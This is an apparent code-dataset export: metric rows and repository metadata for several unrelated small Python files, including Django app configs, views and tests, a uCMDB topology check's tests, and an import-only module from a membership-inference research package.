| 0.148148
| 54
| 3
| 34
| 18
| 0.891304
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5a44dbaf43550f3bb649659b79776306a6b4b664
| 101
|
py
|
Python
|
Rest Django Framework/api_image_manager/blur_image_app/apps.py
|
PaulMarcelo/Python
|
66a9fa21d2d803f5b06d285c705812251dc6d234
|
[
"Apache-2.0"
] | null | null | null |
Rest Django Framework/api_image_manager/blur_image_app/apps.py
|
PaulMarcelo/Python
|
66a9fa21d2d803f5b06d285c705812251dc6d234
|
[
"Apache-2.0"
] | null | null | null |
Rest Django Framework/api_image_manager/blur_image_app/apps.py
|
PaulMarcelo/Python
|
66a9fa21d2d803f5b06d285c705812251dc6d234
|
[
"Apache-2.0"
] | null | null | null |
from django.apps import AppConfig
class BlurImageAppConfig(AppConfig):
name = 'blur_image_app'
| 16.833333
| 36
| 0.782178
| 12
| 101
| 6.416667
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148515
| 101
| 5
| 37
| 20.2
| 0.895349
| 0
| 0
| 0
| 0
| 0
| 0.138614
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5a45c11101107f116527a3dcd11e0037414e0fa9
| 284
|
py
|
Python
|
attacks/__init__.py
|
ml-research/Do-Not-Trust-Prediction-Scores-for-Membership-Inference-Attacks
|
396a4d903a97e10c3a1ecfec131a660aaf9a384e
|
[
"MIT"
] | 3
|
2021-11-17T14:14:52.000Z
|
2021-12-13T09:35:11.000Z
|
attacks/__init__.py
|
ml-research/Do-Not-Trust-Prediction-Scores-for-Membership-Inference-Attacks
|
396a4d903a97e10c3a1ecfec131a660aaf9a384e
|
[
"MIT"
] | null | null | null |
attacks/__init__.py
|
ml-research/Do-Not-Trust-Prediction-Scores-for-Membership-Inference-Attacks
|
396a4d903a97e10c3a1ecfec131a660aaf9a384e
|
[
"MIT"
] | 1
|
2021-12-10T07:37:16.000Z
|
2021-12-10T07:37:16.000Z
|
from .attack import PredictionScoreAttack, AttackResult
from .entropy_attack import EntropyAttack
from .salem_attack import SalemAttack
from .threshold_attack import ThresholdAttack
__all__ = ['PredictionScoreAttack', 'AttackResult', 'EntropyAttack', 'SalemAttack', ThresholdAttack]
| 40.571429
| 100
| 0.841549
| 26
| 284
| 8.923077
| 0.461538
| 0.206897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.088028
| 284
| 6
| 101
| 47.333333
| 0.895753
| 0
| 0
| 0
| 0
| 0
| 0.200704
| 0.073944
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5a624bfb347bab28060ffdfbc8e59ca7ee906e2d
| 155
|
py
|
Python
|
omap_site/__init__.py
|
GoetzGoerisch/open-machine-plattform
|
b46f12fe008bd72993f2118e003298b99660d673
|
[
"Apache-2.0"
] | 3
|
2022-03-21T18:01:22.000Z
|
2022-03-28T11:49:30.000Z
|
omap_site/__init__.py
|
GoetzGoerisch/open-machine-plattform
|
b46f12fe008bd72993f2118e003298b99660d673
|
[
"Apache-2.0"
] | 10
|
2022-03-18T11:04:16.000Z
|
2022-03-29T07:23:52.000Z
|
omap_site/__init__.py
|
GoetzGoerisch/open-machine-plattform
|
b46f12fe008bd72993f2118e003298b99660d673
|
[
"Apache-2.0"
] | 1
|
2022-03-25T09:08:29.000Z
|
2022-03-25T09:08:29.000Z
|
"""
This module contains all files for a django deployment 'site'.
When called via the manage.py command, this folder is used as regular django setup.
"""
| 31
| 83
| 0.754839
| 25
| 155
| 4.68
| 0.92
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.167742
| 155
| 4
| 84
| 38.75
| 0.906977
| 0.941935
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5a8a50848aa594e0645face2edd5e49a82bdb4ee
| 146
|
py
|
Python
|
chempy/properties/__init__.py
|
bertiewooster/chempy
|
115adc1d570aa1631baff4374f3128ce23fa7776
|
[
"BSD-2-Clause"
] | 340
|
2015-10-30T03:41:05.000Z
|
2022-03-31T05:01:17.000Z
|
chempy/properties/__init__.py
|
bertiewooster/chempy
|
115adc1d570aa1631baff4374f3128ce23fa7776
|
[
"BSD-2-Clause"
] | 80
|
2015-11-03T13:31:23.000Z
|
2022-03-31T16:46:19.000Z
|
chempy/properties/__init__.py
|
bertiewooster/chempy
|
115adc1d570aa1631baff4374f3128ce23fa7776
|
[
"BSD-2-Clause"
] | 75
|
2016-06-06T19:55:48.000Z
|
2022-03-19T23:39:13.000Z
|
# -*- coding: utf-8 -*-
"""
This package implements various parameterisations of properties from the
litterature with relevance in chemistry.
"""
| 24.333333
| 72
| 0.746575
| 17
| 146
| 6.411765
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008
| 0.143836
| 146
| 5
| 73
| 29.2
| 0.864
| 0.931507
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ce53a0840f7c5d7e1a75a201763946ad25feb4db
| 262
|
py
|
Python
|
GA_ACO/FinalRun.py
|
yueludanfeng/Test
|
8ea2bd2a8602ed51379c7a89ea1fdf370b8f1ca7
|
[
"Apache-2.0"
] | 10
|
2019-01-20T06:52:30.000Z
|
2022-03-22T03:35:47.000Z
|
GA_ACO/FinalRun.py
|
yueludanfeng/Test
|
8ea2bd2a8602ed51379c7a89ea1fdf370b8f1ca7
|
[
"Apache-2.0"
] | null | null | null |
GA_ACO/FinalRun.py
|
yueludanfeng/Test
|
8ea2bd2a8602ed51379c7a89ea1fdf370b8f1ca7
|
[
"Apache-2.0"
] | 11
|
2017-10-17T07:50:21.000Z
|
2021-12-13T12:04:58.000Z
|
# coding=utf-8
# Author: Lixinming
from os import system
from os import chdir
# from os import getcwd
system("python Main_final.py")
chdir("./finaltest03_new")
system("python ration_sum.py")
system("python iteration_time_sum.py")
system("python sum_total.py")
| 23.818182
| 38
| 0.767176
| 41
| 262
| 4.756098
| 0.536585
| 0.246154
| 0.184615
| 0.174359
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012876
| 0.110687
| 262
| 11
| 39
| 23.818182
| 0.824034
| 0.206107
| 0
| 0
| 0
| 0
| 0.507317
| 0.102439
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.285714
| 0
| 0.285714
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ce5ab3b53ab95a879b894ee0056654c5369e59ea
| 622
|
py
|
Python
|
health/views.py
|
dave8697/Health-Prediction-Apps
|
42a9734fd5da9b32063f0bde6c13e01476038e42
|
[
"MIT"
] | 1
|
2021-03-08T18:18:18.000Z
|
2021-03-08T18:18:18.000Z
|
health/views.py
|
dave8697/Health-Prediction-Apps
|
42a9734fd5da9b32063f0bde6c13e01476038e42
|
[
"MIT"
] | null | null | null |
health/views.py
|
dave8697/Health-Prediction-Apps
|
42a9734fd5da9b32063f0bde6c13e01476038e42
|
[
"MIT"
] | 2
|
2021-02-22T15:12:27.000Z
|
2021-03-08T18:18:30.000Z
|
from django.shortcuts import render
# Create your views here.
def index(request):
request.session.flush()
return render(request, 'index.html', {})
def login(request):
return render(request, 'login.html', {})
def signup(request):
return render(request, 'register.html', {})
def dashboard(request):
x = request.session.get('logged', None)
if x == 1:
return render(request, 'dashboard.html', {})
else:
request.session['logged'] = 0
return render(request, 'dashboard.html', {})
def logout(request):
request.session.flush()
return render(request, 'index.html')
| 23.923077
| 52
| 0.651125
| 74
| 622
| 5.472973
| 0.391892
| 0.177778
| 0.281481
| 0.128395
| 0.424691
| 0.266667
| 0.266667
| 0.266667
| 0.266667
| 0
| 0
| 0.004
| 0.196141
| 622
| 26
| 53
| 23.923077
| 0.806
| 0.036977
| 0
| 0.222222
| 0
| 0
| 0.138796
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.277778
| false
| 0
| 0.055556
| 0.111111
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
ce72be34541d18145a16597252b024c0b6fdf31e
| 137
|
py
|
Python
|
tools/templates/bigChain/src/main/python/stage1/input.py
|
shuangshuangwang/SMV
|
021faece3f0fefca6051df8415789b14bc9a60ed
|
[
"Apache-2.0"
] | null | null | null |
tools/templates/bigChain/src/main/python/stage1/input.py
|
shuangshuangwang/SMV
|
021faece3f0fefca6051df8415789b14bc9a60ed
|
[
"Apache-2.0"
] | null | null | null |
tools/templates/bigChain/src/main/python/stage1/input.py
|
shuangshuangwang/SMV
|
021faece3f0fefca6051df8415789b14bc9a60ed
|
[
"Apache-2.0"
] | null | null | null |
import smv
__all__ = ['EmploymentByState']
class input(smv.SmvCsvFile):
def path(self):
return "employment/CB1200CZ11.csv"
| 17.125
| 42
| 0.70073
| 15
| 137
| 6.133333
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.053571
| 0.182482
| 137
| 7
| 43
| 19.571429
| 0.767857
| 0
| 0
| 0
| 0
| 0
| 0.306569
| 0.182482
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
cecb7655b646e39e3877482ef720e315b5f2174c
| 15,122
|
py
|
Python
|
ucmdb_file/test_ucmdb_topology_file.py
|
StackVista/sts-agent-integrations-core
|
909344f2a829256c114f261a3a3efbe27e09ba2c
|
[
"BSD-3-Clause"
] | 3
|
2018-01-21T09:35:56.000Z
|
2020-11-12T07:05:03.000Z
|
ucmdb_file/test_ucmdb_topology_file.py
|
StackVista/sts-agent-integrations-core
|
909344f2a829256c114f261a3a3efbe27e09ba2c
|
[
"BSD-3-Clause"
] | 9
|
2017-11-09T15:06:51.000Z
|
2020-07-15T08:31:26.000Z
|
ucmdb_file/test_ucmdb_topology_file.py
|
StackVista/sts-agent-integrations-core
|
909344f2a829256c114f261a3a3efbe27e09ba2c
|
[
"BSD-3-Clause"
] | 4
|
2018-06-04T12:59:53.000Z
|
2020-01-23T19:04:12.000Z
|
import time
import tempfile
import os
from utils.persistable_store import PersistableStore
from utils.ucmdb.ucmdb_file_dump import UcmdbDumpStructure
from tests.checks.common import AgentCheckTest
class TestUcmdbNoTopology(AgentCheckTest):
"""
Ucmdb check should work with empty topology
"""
CHECK_NAME = 'ucmdb_file'
def test_checks(self):
self.maxDiff = None
config = {
'init_config': {},
'instances': [{'location': 'tests/core/fixtures/ucmdb/check/empty'}]}
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(len(instances[0]['components']), 0)
self.assertEqual(len(instances[0]['relations']), 0)
class TestUcmdbTopologyFull(AgentCheckTest):
"""
Ucmdb check should report topology when ucmdb export is complete
"""
CHECK_NAME = 'ucmdb_file'
def test_checks(self):
self.maxDiff = None
config = {
'init_config': {},
'instances': [
{
'location': 'tests/core/fixtures/ucmdb/check/full',
'tag_attributes': ['root_class','name'],
'component_type_field': 'global_id',
'relation_type_field': 'display_label',
'tags': ['mytag']
}
]
}
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(instances[0]['instance'], {'type': 'ucmdb', 'url': 'tests/core/fixtures/ucmdb/check/full'})
self.assertEqual(len(instances[0]['components']), 1)
self.assertEqual(instances[0]['components'][0], {
'data': {'display_label': 'CRMI (MQCODE)',
'global_id': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'name': 'CRMI (MQCODE)',
'root_class': 'business_application',
'tags': ['business_application', 'CRMI (MQCODE)', 'mytag']},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'type': {'name': 'dab1c91cdc7a6d808b0642cb02ea22f0'}})
self.assertEqual(len(instances[0]['relations']), 1)
self.assertEqual(instances[0]['relations'][0], {'data': {'DiscoveryID1': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'DiscoveryID2': '6c01ec45816a40eb866400ff143f4968',
'display_label': 'Containment',
'end1Id': 'UCMDB%0ARB_BusinessFunction%0A1%0Ainternal_id%3DSTRING%3Ddab1c91cdc7a6d808b0642cb02ea22f0%0A',
'end2Id': 'UCMDB%0ARB_BusinessChannel%0A1%0Ainternal_id%3DSTRING%3Dba21d9dfb1c2ebf4ee951589a3b4ec62%0A',
'tags': ['mytag']},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0-Containment-6c01ec45816a40eb866400ff143f4968',
'sourceId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'targetId': '6c01ec45816a40eb866400ff143f4968',
'type': {'name': 'Containment'}})
class TestUcmdbTopologyMinimal(AgentCheckTest):
"""
Ucmdb check should report topology from xml export that contains bare minimum
"""
CHECK_NAME = 'ucmdb_file'
def test_checks(self):
self.maxDiff = None
config = {
'init_config': {},
'instances': [
{
'location': 'tests/core/fixtures/ucmdb/check/min',
'tags': ['mytag']
}
]
}
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(instances[0]['instance'], {'type': 'ucmdb', 'url': 'tests/core/fixtures/ucmdb/check/min'})
self.assertEqual(len(instances[0]['components']), 2)
self.assertEqual(instances[0]['components'][0], {'data': {'tags': ['mytag']},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'type': {'name': 'business_service'}})
self.assertEqual(instances[0]['components'][1], {'data': {'tags': ['mytag']},
'externalId': 'ba21d9dfb1c2ebf4ee951589a3b4ec62',
'type': {'name': 'business_service'}})
self.assertEqual(len(instances[0]['relations']), 1)
self.assertEqual(instances[0]['relations'][0], {'data': {'DiscoveryID1': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'DiscoveryID2': '6c01ec45816a40eb866400ff143f4968',
'tags': ['mytag']},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0-containment-6c01ec45816a40eb866400ff143f4968',
'sourceId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'targetId': '6c01ec45816a40eb866400ff143f4968',
'type': {'name': 'containment'}})
class TestUcmdbTopologyPollingInterval(AgentCheckTest):
"""
Ucmdb check should report topology from xml export that contains bare minimum
"""
CHECK_NAME = 'ucmdb_file'
location = "tests/core/fixtures/ucmdb/check/polling_min"
def test_checks(self):
self.maxDiff = None
config = {
'init_config': {},
'instances': [
{
'location': self.location,
'file_polling_interval': 2
}
]
}
# reseting the polling interval before run
store = PersistableStore("ucmdb_file", self.location)
store.clear_status()
store = PersistableStore("ucmdb_file", self.location)
store['ucmdb_dump_structure'] = UcmdbDumpStructure.load(self.location)
store.commit_status()
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 0)
time.sleep(2)
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
class TestUcmdbTopologyDumpStructure(AgentCheckTest):
"""
Ucmdb check should report topology from xml export that contains bare minimum
"""
CHECK_NAME = 'ucmdb_file'
snapshot_contents = """<?xml version="1.0" encoding="UTF-8"?>
<root>
<data>
<objects>
<object operation="add" name="business_service" ucmdb_id="dab1c91cdc7a6d808b0642cb02ea22f0">
</object>
</objects>
<links>
</links>
</data>
</root>
"""
increment1_contents = """<?xml version="1.0" encoding="UTF-8"?>
<root>
<data>
<objects>
<object operation="add" name="business_service" ucmdb_id="6c01ec45816a40eb866400ff143f4968">
</object>
</objects>
<links>
<link name="containment" operation="add" ucmdb_id="a9247f4296601c507064ae599bec177e">
<attribute name="DiscoveryID1">dab1c91cdc7a6d808b0642cb02ea22f0</attribute>
<attribute name="DiscoveryID2">6c01ec45816a40eb866400ff143f4968</attribute>
</link>
</links>
</data>
</root>
"""
increment2_contents = """<?xml version="1.0" encoding="UTF-8"?>
<root>
<data>
<objects>
<object operation="add" name="business_service" ucmdb_id="dab1c91cdc7a6d808b0642cb02ea22f1">
</object>
</objects>
<links>
<link name="containment" operation="add" ucmdb_id="a9247f4296601c507064ae599bec177f">
<attribute name="DiscoveryID1">dab1c91cdc7a6d808b0642cb02ea22f1</attribute>
<attribute name="DiscoveryID2">6c01ec45816a40eb866400ff143f4968</attribute>
</link>
</links>
</data>
</root>
"""
def generate_initial_dump(self, tmp_dump_root, timestamp):
tmp_full_dir = os.path.join(tmp_dump_root, UcmdbDumpStructure.FULL_DIRECTORY)
tmp_increment_dir = os.path.join(tmp_dump_root, UcmdbDumpStructure.INCREMENT_DIRECTORY)
os.mkdir(tmp_full_dir)
os.mkdir(tmp_increment_dir)
self._make_file(os.path.join(tmp_full_dir, "snapshot.xml"), timestamp, self.snapshot_contents)
self._make_file(os.path.join(tmp_increment_dir, "increment1.xml"), timestamp, self.increment1_contents)
def add_snapshot(self, tmp_dump_root, file_name, timestamp, contents):
tmp_increment_dir = os.path.join(tmp_dump_root, UcmdbDumpStructure.INCREMENT_DIRECTORY)
self._make_file(os.path.join(tmp_increment_dir, file_name), timestamp, contents)
def _make_file(self, path, modification_time, contents):
file = open(path, "w")
file.write(contents)
file.close()
os.utime(path, (modification_time, modification_time))
print path
def test_checks(self):
self.maxDiff = None
now = time.time()
tmp_dump_root = tempfile.mkdtemp()
self.generate_initial_dump(tmp_dump_root, now)
config = {
'init_config': {},
'instances': [
{
'location': tmp_dump_root,
'file_polling_interval': 100
}
]
}
store = PersistableStore("ucmdb_file", tmp_dump_root)
store.clear_status()
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(len(instances[0]['components']), 2)
self.assertEqual(len(instances[0]['relations']), 1)
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 0)
self.add_snapshot(tmp_dump_root, "increment2.xml", now + 1, self.increment2_contents)
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(len(instances[0]['components']), 3)
self.assertEqual(len(instances[0]['relations']), 2)
class TestUcmdbTopologyExcludeTypes(AgentCheckTest):
"""
Ucmdb check should report topology from xml export that contains bare minimum
"""
CHECK_NAME = 'ucmdb_file'
def test_checks(self):
self.maxDiff = None
config = {
'init_config': {},
'instances': [
{
'location': 'tests/core/fixtures/ucmdb/check/exclude_types',
'excluded_types': ['business_service', 'containment']
}
]
}
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(instances[0]['instance'], {'type': 'ucmdb', 'url': 'tests/core/fixtures/ucmdb/check/exclude_types'})
self.assertEqual(len(instances[0]['components']), 0)
self.assertEqual(len(instances[0]['relations']), 0)
class TestUcmdbTopologyGroupingConnectedComponents(AgentCheckTest):
"""
Ucmdb check should report topology that can be optionally labeled with groups
"""
CHECK_NAME = 'ucmdb_file'
def test_checks(self):
self.maxDiff = None
config = {
'init_config': {},
'instances': [
{
'location': 'tests/core/fixtures/ucmdb/check/group',
'grouping_connected_components': True,
'component_group': {"mycomponent": "custom_group"}
}
]
}
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(instances[0]['instance'], {'type': 'ucmdb', 'url': 'tests/core/fixtures/ucmdb/check/group'})
self.assertEqual(len(instances[0]['components']), 3)
self.assertEqual(len(instances[0]['relations']), 1)
self.assertEqual(instances[0]['components'],[
{'data': {'name': 'mycomponent', 'label.connected_group': 'custom_group'},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'type': {'name': 'business_service'}},
{'data': {'name': 'mycomponent3', 'label.connected_group': 'group_of_size_1'},
'externalId': 'ba21d9dfb1c2ebf4ee951589a3b4ec63',
'type': {'name': 'business_service'}},
{'data': {'name': 'mycomponent2', 'label.connected_group': 'custom_group'},
'externalId': 'ba21d9dfb1c2ebf4ee951589a3b4ec62',
'type': {'name': 'business_service'}}])
self.assertEqual(instances[0]['relations'], [{'data': {'DiscoveryID1': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'DiscoveryID2': 'ba21d9dfb1c2ebf4ee951589a3b4ec62'},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0-containment-ba21d9dfb1c2ebf4ee951589a3b4ec62',
'sourceId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'targetId': 'ba21d9dfb1c2ebf4ee951589a3b4ec62',
'type': {'name': 'containment'}}])
class TestUcmdbTopologyLabelingComponentTrees(AgentCheckTest):
"""
Ucmdb check should report topology that can be optionally labeled with groups
"""
CHECK_NAME = 'ucmdb_file'
def test_checks(self):
self.maxDiff = None
config = {
'init_config': {},
'instances': [
{
'location': 'tests/core/fixtures/ucmdb/check/tree',
'grouping_component_trees': True,
'component_group': {"mycomponent": "mytree"}
}
]
}
self.run_check(config)
instances = self.check.get_topology_instances()
self.assertEqual(len(instances), 1)
self.assertEqual(instances[0]['instance'], {'type': 'ucmdb', 'url': 'tests/core/fixtures/ucmdb/check/tree'})
self.assertEqual(len(instances[0]['components']), 3)
self.assertEqual(len(instances[0]['relations']), 1)
self.assertEqual(instances[0]['components'],[
{'data': {'name': 'mycomponent', 'label.mytree': 'mytree'},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'type': {'name': 'business_service'}},
{'data': {'name': 'mycomponent3'},
'externalId': 'ba21d9dfb1c2ebf4ee951589a3b4ec63',
'type': {'name': 'business_service'}},
{'data': {'name': 'mycomponent2', 'label.mytree': 'mytree'},
'externalId': 'ba21d9dfb1c2ebf4ee951589a3b4ec62',
'type': {'name': 'business_service'}}])
self.assertEqual(instances[0]['relations'], [{'data': {'DiscoveryID1': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'DiscoveryID2': 'ba21d9dfb1c2ebf4ee951589a3b4ec62'},
'externalId': 'dab1c91cdc7a6d808b0642cb02ea22f0-containment-ba21d9dfb1c2ebf4ee951589a3b4ec62',
'sourceId': 'dab1c91cdc7a6d808b0642cb02ea22f0',
'targetId': 'ba21d9dfb1c2ebf4ee951589a3b4ec62',
'type': {'name': 'containment'}}])
| 40.218085
| 125
| 0.605806
| 1,319
| 15,122
| 6.793025
| 0.135709
| 0.070313
| 0.05625
| 0.084375
| 0.740513
| 0.729018
| 0.702009
| 0.675223
| 0.655469
| 0.620424
| 0
| 0.08531
| 0.261275
| 15,122
| 375
| 126
| 40.325333
| 0.716767
| 0.002645
| 0
| 0.596026
| 0
| 0
| 0.382048
| 0.174929
| 0
| 0
| 0
| 0
| 0.139073
| 0
| null | null | 0
| 0.019868
| null | null | 0.003311
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
cedd9bc2c39a6be26af0d3fa752659d7ea4419ab
| 48,596
|
py
|
Python
|
agreements/test_views.py
|
cu-library/mellyn
|
7ac6d45d67c21223da1a6b7902577148721593d1
|
[
"MIT"
] | null | null | null |
agreements/test_views.py
|
cu-library/mellyn
|
7ac6d45d67c21223da1a6b7902577148721593d1
|
[
"MIT"
] | 8
|
2020-06-11T01:35:43.000Z
|
2021-05-27T18:22:45.000Z
|
agreements/test_views.py
|
cu-library/mellyn
|
7ac6d45d67c21223da1a6b7902577148721593d1
|
[
"MIT"
] | null | null | null |
"""
This module defines tests to run against this application.
https://docs.djangoproject.com/en/3.0/topics/testing/
"""
import os
import os.path
import shutil
import tempfile
import urllib.parse
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Group, Permission
from django.test import RequestFactory, TestCase
from django.urls import reverse
from django.utils.timezone import now
from guardian.shortcuts import assign_perm, remove_perm
from .views import AgreementList, ResourceList
from .models import Resource, Faculty, Department, Agreement, Signature, LicenseCode
class SharedCRUDWorkflowsTestCase(TestCase):
"""Test CRUD workflows on resources, agreements, faculties, and departments"""
model_names = [('Resource', 'Resources'), ('Faculty', 'Faculties'),
('Department', 'Departments'), ('Agreement', 'Agreements'), ]
@classmethod
def setUpTestData(cls):
"""Create a super user for the tests to use."""
cls.test_user = get_user_model().objects.create_superuser(username='test',
first_name='test',
last_name='test',
email='test@test.com',
password='test')
@staticmethod
def create_test_models():
"""Create test models, so that update and delete views can be tested"""
test_resource = Resource.objects.create(name='Test', slug='test', description='')
test_faculty = Faculty.objects.create(name='Test', slug='test')
Department.objects.create(name='Test', slug='test', faculty=test_faculty)
Agreement.objects.create(title='Test',
slug='test',
resource=test_resource,
body='body',
redirect_url='https://example.com',
redirect_text='example-redirect')
def test_crud_actions(self):
"""Sanity check all templates for basic CRUD actions a user can perform"""
self.client.login(username='test', password='test')
for singular, plural in self.model_names:
lowercase_singular = singular.lower()
lowercase_plural = plural.lower()
# First, visit the list view. It should be empty.
response = self.client.get(reverse(lowercase_plural+'_list'))
with self.subTest(msg=lowercase_plural+'_list'):
self.assertContains(response, f'<title>Sign - {plural}</title>', html=True)
self.assertContains(response, f'<h2>{plural}</h2>', html=True)
self.assertContains(response, f'<p>No {lowercase_plural} found.</p>', html=True)
self.assertContains(response, f'<a class="ok" href="{reverse(lowercase_plural+"_create")}">'
f'Create a new {lowercase_singular}</a>', html=True)
# Visit the create view.
response = self.client.get(reverse(lowercase_plural+'_create'))
with self.subTest(msg=lowercase_plural+'_create'):
self.assertContains(response, f'<title>Sign - Create a new {lowercase_singular}</title>',
html=True)
self.assertContains(response, f'<h2>Create a new {lowercase_singular}</h2>',
html=True)
self.assertContains(response,
f'<a class="warning" href="{reverse(lowercase_plural+"_list")}">Cancel</a>',
html=True)
self.assertContains(response, '<input type="submit" value="Create">', html=True)
self.create_test_models()
for singular, plural in self.model_names:
lowercase_singular = singular.lower()
lowercase_plural = plural.lower()
# Visit the list view. It should now have content.
response = self.client.get(reverse(lowercase_plural+'_list'))
with self.subTest(msg=lowercase_plural+'_list'):
self.assertContains(response, f'<title>Sign - {plural}</title>', html=True)
if singular == 'Agreement':
self.assertContains(response, f'<a href="{reverse(lowercase_plural+"_read", args=["test"])}">'
f'<h3>Test</h3></a>', html=True)
else:
self.assertContains(response, f'<li><a href="{reverse(lowercase_plural+"_read", args=["test"])}">'
f'Test</a></li>', html=True)
# Visit the read view.
response = self.client.get(reverse(lowercase_plural+'_read', args=['test']))
with self.subTest(msg=lowercase_plural+'_read'):
self.assertContains(response, '<title>Sign - Test</title>', html=True)
self.assertContains(response, '<h2>Test</h2>', html=True)
self.assertContains(response, f'<a class="warning" '
f'href="{reverse(lowercase_plural+"_delete", args=["test"])}">Delete</a>',
html=True)
self.assertContains(response, f'<a class="ok" '
f'href="{reverse(lowercase_plural+"_update", args=["test"])}">Edit</a>',
html=True)
# Visit the update view.
response = self.client.get(reverse(lowercase_plural+'_update', args=['test']))
with self.subTest(msg=lowercase_plural+'_update'):
self.assertContains(response, '<title>Sign - Update Test</title>', html=True)
self.assertContains(response, '<h2>Update Test</h2>', html=True)
